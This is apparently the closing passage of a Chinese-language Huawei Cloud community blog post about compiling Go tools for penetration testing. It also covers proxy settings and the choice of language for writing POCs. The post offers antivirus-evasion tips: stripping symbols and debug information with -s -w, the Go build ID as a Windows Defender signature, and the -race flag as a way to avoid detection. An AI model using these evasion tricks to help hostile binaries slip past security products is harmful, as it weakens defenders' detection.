go编译后从hex上看会有很多特征


  • s:忽略符号表和调试信息。
  • -w:忽略DWARFv3调试信息,使用该选项后将无法使用gdb进行调试。


缺点也比较明显,有时候你程序即使编译成功不运行也会报错,如果去掉这些调试信息的话,运行以后就什么都没有了


比如go build ID:这类,很不幸,在Windows defender 它也是特征之一.



tools上文章中写到-race,数据竞争也可以免杀,经过测试,的确有效果,但体积会更大,而且只适合x64.可以看场景进行使用


        -race
                enable data race detection.
                Supported only on linux/amd64, freebsd/amd64, darwin/amd64, windows/amd64,
                linux/ppc64le and linux/arm64 (only for 48-bit VMA).


其实还有一些师傅编译的时候会遇到第三方包下载不了,这是因为Go官方被屏蔽了


go env -w GO111MODULE=on
go env -w GOPROXY=https://goproxy.io,direct


改了代理以后,就会像pip install 一样丝滑.


总结


Go的语句简单易学,没有很多的语法糖,如果你会C的话,基本可以很容易掌握Go,但是如果只是写POC建议还是Python,因为在项目中验证和利用漏洞,py就够了,因为目标一个的话,多线程可以忽略,但Windows没有默认集成py环境,以及py被GIL限制的原因,你可以学习一门编译型语言来辅助你,C/C++,Cshap,Go,Nim这些.


如果写的不好,请大师傅们海涵.


【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。